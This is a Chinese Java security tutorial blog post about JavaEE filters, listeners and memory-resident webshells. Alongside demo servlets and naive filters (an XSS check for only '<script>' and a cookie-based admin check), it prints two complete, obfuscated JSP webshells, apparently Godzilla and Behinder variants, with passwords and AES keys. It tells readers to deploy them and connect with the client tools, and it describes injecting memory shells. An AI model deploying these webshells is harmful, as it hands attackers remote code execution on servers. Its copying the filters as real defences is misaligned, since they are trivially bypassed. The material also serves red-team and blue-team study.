【java安全】从0到1--第2章
2023-5-20 09:18:13 Author: 安全圈小王子(查看原文) 阅读量:16 收藏

0x01 JavaEE-过滤器-Filter

Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。

listennet(监听器)-》filter(过滤器)-》servlet(代码层)

内存马不到代码层,直接跳过了,连到数据库

创建测试项目,HttpServlet爆红问题
https://blog.csdn.net/bachfuck/article/details/109728214

XSSfilter过滤配置

TestServlet:

package com.example.filterdemo.filter.servlet;
import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;
@WebServlet("/test")public class TestServlet extends HttpServlet {
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String code = req.getParameter("code"); PrintWriter out = resp.getWriter(); out.println(code); out.close(); }}

XssFilter:

package com.example.filterdemo.filter;
import javax.servlet.*;import javax.servlet.annotation.WebFilter;import javax.servlet.http.HttpServlet;import java.io.IOException;
@WebFilter("/test")public class XssFilter implements Filter {
@Override //中间件开启以后就开始运行 public void init(FilterConfig filterConfig) throws ServletException { System.out.println("xss开启过滤"); }
@Override //中间件关闭就自动运行 public void destroy() { System.out.println("xss销毁过滤"); }
@Override //doFilter路由触发方法 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("xss正在过滤"); //过滤放行 filterChain.doFilter(servletRequest,servletResponse); }}

一开始就已经开启了监听器,

等我们访问的时候给到了执行结果(触发了init)

当我们停止tomcat的时候,停止过滤

过滤没有写过滤内容,在放行代码前进行一个判断

System.out.println("xss正在过滤");      //Xss过滤,有payload过滤,没有放行      HttpServletRequest requset = (HttpServletRequest) servletRequest;      requset.getParameter("code");      String code = requset.getParameter("code");      if (!code.contains("<script>")){          //没有payload          //过滤放行          filterChain.doFilter(servletRequest,servletResponse);      }else{          //存在payload          System.out.println("可能存在xss攻击");      }
package com.example.filterdemo.filter;
import javax.servlet.*;import javax.servlet.annotation.WebFilter;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import java.io.IOException;
@WebFilter("/test")public class XssFilter implements Filter {
@Override //中间件开启以后就开始运行 public void init(FilterConfig filterConfig) throws ServletException { System.out.println("xss开启过滤"); }
@Override //中间件关闭就自动运行 public void destroy() { System.out.println("xss销毁过滤"); }
@Override //doFilter路由触发方法 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("xss正在过滤"); //Xss过滤,有payload过滤,没有放行 HttpServletRequest requset = (HttpServletRequest) servletRequest; requset.getParameter("code"); String code = requset.getParameter("code"); if (!code.contains("<script>")){ //没有payload //过滤放行 filterChain.doFilter(servletRequest,servletResponse); }else{ //存在payload System.out.println("可能存在xss攻击"); } }}

init-》dofilter-》destroy,这样的一个执行流程

请求的一个过程

Admin权限判断

AdminServlet:

package com.example.filterdemo.servlet;
import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;
@WebServlet("/admin")public class AdminServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("欢迎来到管理员界面"); }}

AdminFilter:

package com.example.filterdemo.filter;
import javax.servlet.*;import javax.servlet.annotation.WebFilter;import javax.servlet.annotation.WebServlet;import javax.servlet.http.Cookie;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import java.io.IOException;
@WebFilter("/admin")public class AdminFilter implements Filter {

@Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("admin身份检测开启"); }
@Override public void destroy() { System.out.println("admin身份检测销毁"); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//检测cookie过滤 System.out.println("admin身份检测开始检测"); //获取cookie HttpServletRequest request = (HttpServletRequest) servletRequest; Cookie[] cookies= request.getCookies(); for (Cookie c:cookies){ String cName = c.getName(); //获取cookie名 String cValue = c.getValue(); //获取cookie值 System.out.println(cName); System.out.println(cValue); if (cName.contains("user") && cValue.contains("admin")){ filterChain.doFilter(servletRequest,servletResponse); }else{ System.out.println("非admin用户"); } } }}

初探java🐎子

Config.jsp(哥斯拉🐎)

//密码:Tas9er 密钥:lfNRX4 有效载荷:JavaDynamicPayload 加密器:JAVA_AES_BASE64 写入时去掉此行
Hello Administrator!Welcome To Tas9er Godzilla JSP Console!<%! String govsb_uV9q = "369cb3b8becea21a"; String govsb_UkbXDu = "Tas9er"; class govsb_3 extends /*edusb_suAZvRiR3*/ClassLoader { public govsb_3(ClassLoader govsb_rQic) { super/*edusb_a*/(govsb_rQic); } public Class govsb_xzEW3IMM(byte[] govsb_COjEHWGNDzzH3i) { return super./*edusb_uEIxv*/\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073/*edusb_F1xtlRscJ*/(govsb_COjEHWGNDzzH3i, 668449-668449, govsb_COjEHWGNDzzH3i.length); } } public byte[] govsb_ESlIWvCZu0U(byte[] govsb_VfrYhvrOtnH, boolean govsb_NPPoT6my) { try { j\u0061\u0076\u0061\u0078./*edusb_X7VbSt*/\u0063\u0072\u0079\u0070\u0074\u006f.Cipher govsb_L1tz5WVey = j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.Cipher.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063e/*edusb_6RCTNhviQxTG*/("AES"); govsb_L1tz5WVey.init(govsb_NPPoT6my?668449/668449:668449/668449+668449/668449,new j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.spec./*edusb_ozuS2*/SecretKeySpec/*edusb_F7GjyBjf8Ge*/(govsb_uV9q.getBytes(), "AES")); return govsb_L1tz5WVey.doFinal/*edusb_yyi5ieb*/(govsb_VfrYhvrOtnH); } catch (Exception e) { return null; } } %><% try { byte[] govsb_LTOAYraLi2x5ira = java.util.Base64./*edusb_DfK3*/\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*edusb_cGN*/decode(request.getParameter(govsb_UkbXDu)); govsb_LTOAYraLi2x5ira = govsb_ESlIWvCZu0U(govsb_LTOAYraLi2x5ira,false); if (session.getAttribute/*edusb_ShWHuEfLJqtYEQ*/("payload") == null) { session.setAttribute("payload", new govsb_3(this.\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073()./*edusb_xy*/\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073Loader())/*edusb_aaS*/.govsb_xzEW3IMM(govsb_LTOAYraLi2x5ira)); } else { request.setAttribute("parameters", govsb_LTOAYraLi2x5ira); java.io.ByteArrayOutputStream govsb_Bt = new java.io./*edusb_GqA*/ByteArrayOutputStream(); Object govsb_rqB9gzq17qI = /*edusb_tacM9KaUMtutNpY*/((Class) session.getAttribute("payload"))./*edusb_BhHR*//*edusb_R*/new\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065()/*edusb_z9hk*/; govsb_rqB9gzq17qI.equals(govsb_Bt); govsb_rqB9gzq17qI.equals(pageContext); response.getWriter().write("58D369FCC084BFABA577AAAE181233C9".substring(668449-668449, 16)); govsb_rqB9gzq17qI.toString(); response.getWriter().write(java.util.Base64/*edusb_RxRJZOonjPE*/.getEncoder()/*edusb_Mpw0*/.encodeToString(govsb_ESlIWvCZu0U(govsb_Bt.toByteArray(),true))); response.getWriter().write("58D369FCC084BFABA577AAAE181233C9".substring(16)); } } catch (Exception e) { }%>

将上边的jsp放到webapp即可

内存🐎

MemoryShell

FilterShell

getALLfilter(获取所有内存马)

filtersInfo:filterName: com.example.filterdemo.filter.AdminFilter servletNames: [] urlPatterns: [/admin]filterName: com.example.filterdemo.filter.XssFilter servletNames: [] urlPatterns: [/test]filterName: Tomcat WebSocket (JSR356) Filter servletNames: [] urlPatterns: [/*]//1,2 项目本身 3为中间件

addfilterShell(新增内存马)

add完毕后,再get一下。会发现新增一个监听器。

常规功能是在Serlvet(代码层)实现木马链接,而这个注入的内存马是在Filter的,前边的Listener也可以注入内存马

removeFilter(移除内存马)

Config1.jsp(冰蝎🐎)

<%! 密码Tas9er 写入时去掉此行%>Hello Administrator!WelCome To Tas9er Java Console!<%@page import="sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random" %><%!  class tas9erCGIjbGbQt extends \u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 {      tas9erCGIjbGbQt(\u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 tas9erYK16oSMMl) {          super(tas9erYK16oSMMl);      }      public Class tas9er1HtPfdAKI(byte[] tas9ernh7MjwAtK) {          return super.d\uuuuuuuuu0065fineClass(tas9ernh7MjwAtK,0,tas9ernh7MjwAtK.length);      }  }%><%  out.println("Random Garbage Data:");  Random tas9ersoV3r1IWc = new Random();  int tas9er0RebXw3Z6 = tas9ersoV3r1IWc.nextInt(1234);  int tas9erPlYa7lKMN = tas9ersoV3r1IWc.nextInt(5678);  int tas9erYQ243vUep = tas9ersoV3r1IWc.nextInt(1357);  int tas9erdxK2eskj9 = tas9ersoV3r1IWc.nextInt(2468);  out.println(tas9er0RebXw3Z6+","+tas9erPlYa7lKMN+","+tas9erYQ243vUep+","+tas9erdxK2eskj9);  String[] tas9erjLEELM31f = new String[]{"A", "P", "B", "O", "C", "S", "D", "T"};  String tas9erw3S5Bp9gL = tas9erjLEELM31f[1] + tas9erjLEELM31f[3] + tas9erjLEELM31f[5] + tas9erjLEELM31f[7];  if (request.getMethod().equals(tas9erw3S5Bp9gL)) {      String tas9erN5lxMHHQL = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer("MTZhY2FjYzA1YWFmYWY2Nw=="));      session.setAttribute("u", tas9erN5lxMHHQL);      Cipher tas9erxywTO5Nub = Cipher.getInstance("AES");      tas9erxywTO5Nub.init(((tas9er0RebXw3Z6 * tas9erPlYa7lKMN + tas9erYQ243vUep - tas9erdxK2eskj9) * 0) + 3 - 1, new SecretKeySpec(tas9erN5lxMHHQL.getBytes(), "AES"));      new tas9erCGIjbGbQt(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).tas9er1HtPfdAKI(tas9erxywTO5Nub.doFinal(new sun.misc.B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);  }%>

将上边的jsp放到webapp即可

启动tomcat运行,访问Config.jsp,使用冰蝎连接该地址,默认密码为 Tas9er。右键也可以注入内存🐎

0x02 JavaEE-监听器-Listen

listen 监听动作,filter是触发动作

参考:https://blog.csdn.net/qq_52797170/article/details/124023760-监听ServletContext、HttpSession、ServletRequest等域对象创建和销毁事件-监听域对象的属性发生修改的事件-监听在事件发生前、发生后做一些必要的处理1、创建监听器2、监听器内置方法3、监听器触发流程@WebListener<listener>  .......</listener>

Servlet->CreatSession DelSession

CreatSession

package com.example.listendemo.Serlvet;
import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;
@WebServlet("/cs")public class CreatSession extends HttpServlet {
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("servlet开始创建session");
//创建session req.getSession(); }}

DelSession

package com.example.listendemo.Serlvet;
import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;

@WebServlet("/ds")public class DelSession extends HttpServlet {
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("servlet销毁session"); //销毁session req.getSession().invalidate(); }}

listener->ListenSession

package com.example.listendemo.listener;import javax.servlet.annotation.WebListener;import javax.servlet.http.HttpSessionEvent;import javax.servlet.http.HttpSessionListener;
@WebListenerpublic class ListenSession implements HttpSessionListener { @Override public void sessionCreated(HttpSessionEvent se) { System.out.println("Listen监听器监听到session创建"); }
@Override public void sessionDestroyed(HttpSessionEvent se) { System.out.println("Listen监听器监听到session销毁"); }}

在启动时,会默认拿到一个session

访问cs会创建一个session

访问ds会销毁session

如果多次访问cs,servlet会执行多次,listen只会执行一次监听。

监听器安全场景

代码审计中分析执行逻辑触发操作,红队内存马植入,蓝队清理内存马等


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg4MjY3NDI5Mw==&mid=2247486403&idx=1&sn=2dbab6d1855c9108402e0602081ff184&chksm=cf5254d9f825ddcfc76d6ae353f4ab747c70377a3564cd63036b7a296c52c0bac6c0a565b7ad#rd
如有侵权请联系:admin#unsafe.sh